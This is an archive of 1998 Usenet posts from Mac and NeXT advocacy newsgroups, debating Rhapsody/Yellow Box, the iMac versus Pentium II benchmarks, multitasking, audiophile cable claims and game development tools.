> . > > difference to the sound either - but it does.
> . >
> . > Again, you'd have to show evidence that it does.
> .
> . I've run the experiment. You can too. Its easy. Get a CD player (hopefully
> . a good one) and a decent outboard D/A converter. Pick a CD you know
> . reasonably well and get a bunch of interconnects. Get some cheap RCA
> . to RCA, some expensive ones (like Monster sells) and some "digital"
> . cables from Cardas and Vampyre, as well as a TOSLINK cable, and if
> . the CD player and the D/A can accommodate it, an AT&T glass fiber
> . optical cable. Now change them out while listening. Guess what? They
> . ALL sound slightly different.
>
> Guess what -- if you _think_ they are going to sound different, they will.
Actually, when I first heard the penomenea, I was dumbstruck. I had just
received, to review, the first outboard D/A I had ever seen. I changed from
one cable to another because I needed the first cable I used somewhere else
(as a pair with another of the same make). So I replaced the AudioQuest
cable I first used with an oxygen-free linear crystal video cable that I had
been given at a CES show. I was astounded to hear a difference. It went
against everything I thought I knew about digital audio. That is when I began
to experiment with cables, and it was then i found that every cable I tried
sounded slightly different, and TOSLINK plastic optical digital interconnects
sounded AWFUL.
George Graves
>
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Date: Wed, 19 Aug 1998 12:39:12 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1908981239120001@castle.webis.net>
References: <6reenb$5pj$1@nnrp1.dejanews.com> <1998081917154000.NAA04711@ladder01.news.aol.com>
NNTP-Posting-Date: 19 Aug 1998 17:38:41 GMT
In article <1998081917154000.NAA04711@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
: Hmm, interesting.
:
: This begs the following, however:
:
: How configurable is it? Can it be moved to different sides of the screen? How
: easy is it to set up launch/hide on startup?
:
: I'm guessing the icons can be animated--can anyone confirm this? Are there
: guidelines on this from a UI or programming standpoint?
:
: William
:
It is completely configurable. Its basically a global floating window that
can be configured to look like the Windows Task bar, the Next Dock, with
small icons, large icons, no icons, title bar yes/no, etc...
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <rbarris-ya023280001908981346490001@206.82.216.1>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134> <6rf4ss$4ab$1@plo.sierra.com> <rbarris-ya023280001908981129280001@206.82.216.1> <6rfc11$ca4$6@hecate.umd.edu>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Wed, 19 Aug 1998 13:46:49 -0700
NNTP-Posting-Date: Wed, 19 Aug 1998 13:44:28 PDT
In article <6rfc11$ca4$6@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Rob Barris (rbarris@quicksilver.com) wrote:
> : In article <6rf4ss$4ab$1@plo.sierra.com>, "Earl Malmrose"
> : <earl.malmrose@nospam.sierra.com> wrote:
>
> : > Lawson English wrote in message ...
> : > >>Really? I have the source code for Byte and Codewarrior 3 (the compiler
> : > >>used for the majority of software compiled for the mac). Please
advise me
> : > >>how to repeat this fact.
> : > >
> : > >Actually, most development work is done using CodeWarrior but if you need
> : > >the highest speed, you do your final build using Mr C or some other, more
> : > >efficient PPC compiler (Motorola, perhaps?).
> : >
> : > Then might it also make sense to use the highest speed x86 compiler,
if you
> : > want a more fair benchmark? MSVC++ 5.0 is at least 40% faster than the
> : > Watcom that BYTE used.
>
> : This seems like a perfect opportunity for Intel to strike back with
> : their own benchmarks. It's been at least three or four months since the
> : "snail" ad aired, you'd think we would have heard their counterpoint by
> : now.
>
> Intel's spokesperson says that Intel does not comment directly about
> anyone else's product. The little guys always wants to compare themselves
> to the big guys, but the big guys usually does not respond. Responding
> means that you legitimize the little guy's competition claim.
Good point. Do they avoid comparisons with other competitors such as AMD too?
>
> Intel would need to worry more about getting the 450 MHz, 2 Meg L2 version
> of Xeon out the door, for profitability sake instead of some silly snail
> ad.
How are they doing with that heat problem?
http://www.news.com/News/Item/0,4,25304,00.html
Rob
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: 19 Aug 1998 19:52:15 GMT
Organization: University of California at San Diego
Message-ID: <slrn6tmb7e.du9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6rd076$dc1$1@leol.net-link.net> <6rdhkg$55c$1@lwnws01.ne.highway1.com> <6rdoq7$4fl$1@news.digifix.com> <35daf168.0@news.depaul.edu>
On 19 Aug 98 15:38:16 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
:I'm not a big fan of the 'voice-as-primary-UI' concept, but it could
:be very useful if the user could verbally ask for something while
:working on something else. For instance the user might be working
:on a spreadsheet, but could verbally ask the computer to print a
:particular document, which would happen without ever leaving the
:spreadsheet.
Voice as UI would be great for Starcraft and other similar real-time
strategy games. ("Marine squad alpha hold position. Tanks, Siege mode.
Ghost 3, cloak. Lockdown enemy carrier.")
Starcraft, a PC game I have to admit liking greatly, has the neatest overall
UI I've used since NeXTSTEP. Of course it is limited to a single domain.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 21:09:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rfeuf$flf$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <35DB11EE.3016@ieighty.net>
In article <35DB11EE.3016@ieighty.net>,
legacy@ieighty.net wrote:
> My point exactly. If its a *true* premptive, then the machine should
> never crash from an outside app. A BSOD form IE should not cause a
> system freeze if its true PMT. PMT means that the OS is always in
> control -- it goes hand in hand protected memory.
Actually, protected memory and preemptive multitasking are separate. You can
implement an operating system with either, neither or both.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 21:12:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rff4i$fps$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$f <6rdmoc$drt@news1.panix.com> <6reps9$pd9@newsb.netnews.att.com>
In article <6reps9$pd9@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Windows 95's PMT is quite useless. There is no ifs or buts about it.
Even if Window 95's PMT didn't work 99.9% of the time, it would still offer
better multitasking than the Mac OS.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 19 Aug 1998 20:43:58 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rfdee$r0u@newsb.netnews.att.com>
References: <6ree9p$53j$1@front5.grolier.fr>
Originator: gupta@tlctest
Have you taken a look at "Mac OS X Networking Strategy"
at http://www.sustworks.com/interests/mac_os_x_strategy.html ?
-arun gupta
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 11:04:06 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981104070001@sf-usr1-40-168.dialup.slip.net>
References: <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net> <tim-1808981657170001@jump-tnt-0044.customer.jump.net>
In article <tim-1808981657170001@jump-tnt-0044.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> In article <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> | Yes but its coming from a MECHANICAL storage device. Unless the motor and
> | the 'turntable' spining that disc is perfect and free from any speed
variation
> | at all, then the bit stream is going to be all over the place.
>
> Sure, it's not going to be perfect -- it doesn't have to be. That's what
> the FIFO between the disc and the DAC is for.
>
>
> | Reclocking
> | circuits
> | such as FIFOs tend to drop bits and then close-up the spaces, so they
> introduce
> | as much bit stream error as they correct.
>
> George, what are you talking about?
>
> The data coming from the disc has a clock encoded in the stream. These
> samples are fed into a FIFO and are clocked out at a fixed, constant rate
> to the DAC. A control feedback loop adjusts the data rate from the disc
> to maintain an average FIFO depth. No samples are dropped, unless they
> are part of a block error.
That's exactly what I'm talking about.
George Graves
>
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 19 Aug 1998 17:59:15 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6rf3pj$fjd$1@walter.cs.umd.edu>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz> <6repa4$bge$2@walter.cs.umd.edu> <gmgraves-1908981015510001@sf-usr1-40-168.dialup.slip.net>
NNTP-Posting-User: seanl
George Graves (gmgraves@slip.net) wrote:
: I insist upon reproduction accuracy. I use real music to "recalibrate" my
: ears at every possibly oppertunity. But I don't want recordings to sound
: like they do at studios (bad) because I don't generally listen to music
: recorded IN studios (not critically, anyway).
Neither do I. I'm not talking about recording in studios. I'm talking
about *postproduction* in studios. Mixes, sound adjustment, etc. Which
is about 90% of existant albums and CDs, and about 99% of *new* albums and
CDs.
Sean
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <rbarris-ya023280001908981125580001@206.82.216.1>
References: <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net> <redgate-1908981057290001@aux163.tulsa.oklahoma.net> <gmgraves-1908981054010001@sf-usr1-40-168.dialup.slip.net>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
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Content-transfer-encoding: 8bit
Date: Wed, 19 Aug 1998 11:25:58 -0700
NNTP-Posting-Date: Wed, 19 Aug 1998 11:23:37 PDT
In article <gmgraves-1908981054010001@sf-usr1-40-168.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Actually, when I first heard the penomenea, I was dumbstruck. I had just
> received, to review, the first outboard D/A I had ever seen. I changed from
> one cable to another because I needed the first cable I used somewhere else
> (as a pair with another of the same make). So I replaced the AudioQuest
> cable I first used with an oxygen-free linear crystal video cable that I had
> been given at a CES show. I was astounded to hear a difference. It went
> against everything I thought I knew about digital audio. That is when I began
> to experiment with cables, and it was then i found that every cable I tried
> sounded slightly different, and TOSLINK plastic optical digital interconnects
> sounded AWFUL.
Um, George, do you suspect that these bad cables tend to
a. corrupt all bits with a random likelihood
b. corrupt only bursts of bits
c. only corrupt bits which correspond to the LSB's of each 16-bit word
d. other
?
Rob
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 19 Aug 1998 19:59:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rfaqa$aqg$1@nnrp1.dejanews.com>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net>
phenix@interpath.com (John Moreno) wrote:
> > Actually, the new API should have come in either with System 7
> > or the PPC, when apps had to be heavily revised anyway. Back then,
> > developers listened to Apple. Now it's too late.
>
> I don't know if it's too late - I still think they might be able to turn
> it around. But to do so they are going to have to deliver something
> that works and works now, not "System 7 in 89 and System 8 in 91 or 92".
> Ship the revised NeXT OS (i.e. Rhapsody/MacOSX or whatever they call it
> next week) while allowing current applications to be first class
> citizens with minor changes. THEN have the new developer system - "here
> it is, run your program on it, but if you want to do x, y and z REAL
> easily switch to this API". Ship FileMaker as developed using IB, ship
> ClarisWorks using IB, people knew OpenDoc was dead when apple ripped it
> out of ClarisWorks 5.
By IB I assume you mean Interface Builder? More fundamentally, though, what's
needed is YB (Yellow Box) apps. The continuing deafening apps from Apple
regardign future ports of apps like FileMaker or AppleWorks to YB is extremely
puzzling to me.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
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Cc: spagiola@my-dejanews.com
Organization: none
References: <6rd076$dc1$1@leol.net-link.net> <6relqf$dr4$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Wed, 19 Aug 1998 19:13:00 GMT
In <6relqf$dr4$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> The other big change is the loss (in MacOS X) of DPS. I understand the
reasons
> for this. I'm not yet convinced that what we'll be getting will be an
> improvement over DPS.
That's not the issue though, it's not whether it's better or worse, but
whether it's free or not.
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: docks in OSX
Newsgroups: comp.sys.next.advocacy
References: <6reenb$5pj$1@nnrp1.dejanews.com> <1998081917154000.NAA04711@ladder01.news.aol.com>
Message-ID: <35db164a.0@news.depaul.edu>
Date: 19 Aug 98 18:15:38 GMT
What are you talking about?
Try quoting the post you're responding to. We can't read your mind.
WillAdams <willadams@aol.com> wrote:
> Hmm, interesting.
> This begs the following, however:
> How configurable is it? Can it be moved to different sides of the screen? How
> easy is it to set up launch/hide on startup?
> I'm guessing the icons can be animated--can anyone confirm this? Are there
> guidelines on this from a UI or programming standpoint?
> William
> William Adams
> http://members.aol.com/willadams
> Sphinx of black quartz, judge my vow.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: so just what do you want Apple to do?
MIME-Version: 1.0
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References: <6rd3aq$eu9$1@leol.net-link.net>
Message-ID: <MtIC1.95007$7_3.3154169@news.rdc1.sdca.home.com>
Date: Wed, 19 Aug 1998 22:38:36 GMT
NNTP-Posting-Date: Wed, 19 Aug 1998 15:38:36 PDT
Organization: @Home Network
In <6rd3aq$eu9$1@leol.net-link.net> "DarkMerlin(JB)" wrote:
> It seems like any conference with any relation to Apple is filled with
Apple
> haters that overwhelmingly ridicule any points of view that are anything
> close to being positive. So I ask all those with your lists and lists of
> complaints about how stupid Apple is or how much of a jerk Steve is to
> compile a list of every one of you're complaints, provide just what you
want
> Apple to do and remove the complaints so it's just a list of what your
Apple
> would be like.
>
#2 Buy PSION PLC
#1 Build WebObjects Thrid Party apps marketplace
From: seano1@earthlink.net (Sean O'Flaherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 13:32:30 -0700
Organization: EarthLink Network, Inc.
Message-ID: <seano1-1908981332310001@ip174.santa-clara14.ca.pub-ip.psi.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <seano1-1608981829480001@ip14.santa-clara11.ca.pub-ip.psi.net> <gmgraves-1708981011140001@sf-usr1-49-177.dialup.slip.net> <seano1-1808982136070001@ip39.santa-clara6.ca.pub-ip.psi.net> <gmgraves-1908981046210001@sf-usr1-40-168.dialup.slip.net>
In article <gmgraves-1908981046210001@sf-usr1-40-168.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>Good question. I listened to several pairs of the discs used in the tests
>BEFORE I "penned" one of them, and I heard no difference between the
>two supposedly identical CDs.
But did you know they were both unpenned. When you did the test?
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 21 Aug 1998 02:07:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rikpf$s31$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <35DB11EE.3016@ieighty.net> <6rfeuf$flf$1@nnrp1.dejanews.com> <35DC8CED.94E60B96@intel.com>
In article <35DC8CED.94E60B96@intel.com>,
Vareck Bostrom <vareck.bostrom@intel.com> wrote:
> Case in point was the Amiga, which did have preemptive multitasking and did
> not have protected memory, at least as far as I remember.
You remember correctly.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 02:14:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ril6a$sf4$1@nnrp1.dejanews.com>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net>
In article <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> Carbon apps == yellow box apps.
No. It is nearly impossible to imagine YB and Carbon applications behaving the
same way unless they really screw up the YB.
> They both run in the same space, it's the api that's different.
Please define "space" in this context.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Advantages of NeXT UI over MacOS UI? Programmer and user opinion.
Message-ID: <1998082102265900.WAA11668@ladder03.news.aol.com>
Date: 21 Aug 1998 02:26:59 GMT
Organization: AOL http://www.aol.com
References: <6rg5bg$msg$1@leol.net-link.net>
As a person who purchased a Mac in 1984, then bought a PC laptop in 1989,
lusted after my brother-in-law's NeXT when he purchased it (an '030 Cube with
Optical Drive), used Macs in the computer labs for four years of school, was
gifted with my brother-in-law's NeXT two years ago and am now using a Mac
full-time at work, I find the Mac OS/UI infuriating.
It's ludicrous to have to maintain multiple custom spelling dictionaries, NeXT
maintains a single one utilised by all apps.
It's painful to not have immediate access to a dictionary--no analogue to
services.
It's inconsistent, slow and awkward to have to use the Mac dialog box which is
so different from the Mac's Finder view of the file system--why two different
views of the file system? Why can't I drag and drop (or do anything for that
matter) when such a dialog box is on-screen.
On the NeXT, if I want to place a TIFF into Virtuoso, I simply drag the file
icon to where I want it to be in the document--on a Mac, I have to choose the
menu command Place, navigate to the document, even if it's in plain sight on
the desktop and then click where I want it--three discrete actions.
Choosing PPDs is painfully awkward and redundant--why don't they stick to a
given printer description?
But, I've said all of this before--check www.dejanews.com for my thoughts on
this and those of others, some of whom agree with me, and others who disagree.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: ch@TAKETHISOUTastronavigation.com (coliN)
Newsgroups: comp.sys.next.advocacy
Subject: Re: writing games for yellow box?
Date: Thu, 20 Aug 1998 19:11:00 -0800
Organization: EarthLink Network, Inc.
Message-ID: <ch-2008981911010001@1cust124.tnt2.redmond.wa.da.uu.net>
References: <mvdk-2008981748580001@192.0.1.3> <Ey01q1.6Ax@T-FCN.Net>
Hello.
In article <Ey01q1.6Ax@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>
> The combination of the two is likely to reduce the time needed to build a
> game enormously, which is why the id people used to use it.
>
It's apparently still used for level programming.
The Quake engine really makes up id's bread and
butter(licensing it) and I don't think there's
been all that much significant work done it any
recent time.
>
> One is that the drawing subsystem is currently undefined. Although it's
> unlikely to change greatly (at least conceptually), it will change and thus
> doing this portion of the coding is a _little_ premature. On the other hand
> we're going to have to do this with our app, yet I predict it will take only
> a few days to do so.
>
> And the other reason is that QT is available only via a functional
> interface, and even that's undefined. I don't really have a problem with it
> being a functional based interface (for instance, the current PS system under
> OpenStep is, and it works) but the support is currently somewhat vague and
> likely to change.
>
>
I wouldn't let these things really stop you from going
ahead with Yellow. If you're working on any kind of
schedule that's in line with the rest of the gaming
industry, you're probably looking at 6-18+ months before
the game is ever actually published. You'll spend far
more time on contracts, royalties, and license agreements
then you will doing the actual programming. If you can
afford to wait until some of these "undefined" questions
have been fully answered, it would probably be worth it.
Depending on the publisher, you may run into some problems
with Quicktime. Game Publishers hate royalties, and they
hate having to advertise other company's products even more.
Apple has a hefty fee($2 per copy) for distributing Quicktime,
and the alternative is a free distribution with a QT ad
played for the end user.
Companies like Blizzard, GT, Disney, etc. will not pay the
royalty or run the ad, so they use 3rd party tools for sound
and video. If Apple is smart, or interested in becoming a
larger force in gaming, they will revamp the licensing structure
and charge flat fee per game, rather than per copy of the
game. They'd do a lot better charging $5-8k per title than
charging the royalty per CD.
QT will likely be the only choice for Video/sound when it comes
to Yellow development(at least for a while.) Not that that
is a bad thing, cause there's definately a lot of advantages
to using QT over some of the other tools out there.
> Sooooo, basically I think you could definitely benefit from using the YB
> for major portions of the development work, notably during the early stages
> when you're working more on design than actual specific functionality.
>
> > When writing for Yellow Box, will I be able to use the QuickTime API for
> > sound and motion? Is there some other reason why we shouldn't build games
> > in the yellow box? Is a yellow box application in windows just as fast as
> > a 'normal' windowsprogram? I mean, is there any kind of emulation going on
> > and are most windowsgames also written for higher lever api's like yellow
> > box?
>
> Actually the opposite is a real issue. On Windows you typically use
> DirectX to get access to the screen and input and such. Such access is not
> available from YB (yet).
>
You don't neccessarily have to use DirectX for those functions.
DirectX simplifies things for Win* developers, by cutting out
the need for sound and video drivers for a lot of different
cards and other crap. Plus game developers love it cause it's
free and it's MS(whom 99% of game developers absolutely love to
death.)
There's also DirectMusic on the horizon, which is likely to "break"
quicktime in one way or another. Quicktime still has a few problems
too, as far as game developers are concerned. Lack of MIDI playback
on Win* is one example that I can recall hearing.
> > Is it true that one can program 10 times faster using the development
> > tools for Yellow Box?
>
> Yes. And learn it ten times faster if my experience is any guide.
>
Well then I must be near the end of my education then. ;-)
-----
|coliN|
-----
From: ev515o@hotxxxmail.com (Mayor Of R'lyeh)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Organization: City Of R'lyeh
Message-ID: <35e25adc.15482783@news.netdirect.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net>
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Date: Wed, 19 Aug 1998 23:36:43 GMT
NNTP-Posting-Date: Wed, 19 Aug 1998 18:36:43 EDT
On Wed, 19 Aug 1998 18:45:37 -0400, joe.ragosta@dol.net (Joe Ragosta)
chose to bless us all with this bit of wisdom:
>In article <35de4bec.11657983@news.netdirect.net>, ev515o@hotxxxmail.com
>(Mayor Of R'lyeh) wrote:
>
>> No instead we have a bunch of bureaucrats telling car manufacturers
>> what they will make and how many. We have CAFE standards that mandate
>> smaller less safe cars. We have air bags being forced onto cars
>
>Not true. CAFE standards mandate fuel economy. There's nothing in them
>that mandates that cars need to be less safe.
To get more gas mileage you need to lighten the car. Lighter cars are
less safe. We've gotten about all you can get out of an IC engine.
>
>Example: Most car manufacturers in the U.S. are bragging about their
>umpteen horsepower engines and how fast their cars are.
Where are you at that its still 1972?
> If they spent as
>much money and time on developing more efficient cars as they spend on
>making more powerful engines, they'd have no problem meeting the CAFE
>standards without reducing weight.
There's not much more to be gotten out of the IC engine. Electric
isn't viable right now for anything but around town driving. Natural
gas and propane lack the needed fueling stations to be practical.
>
>> despite car manufacturer's warnings that they could kill some people.
>
>True. How many? About 1% of the number they've saved?
I'm sure that's a great consolation to the dead's families.
>
>> (IMO every Secretary of Transportation from whenever air bags were
>> first forced on car manufacturers to the current one should be tried
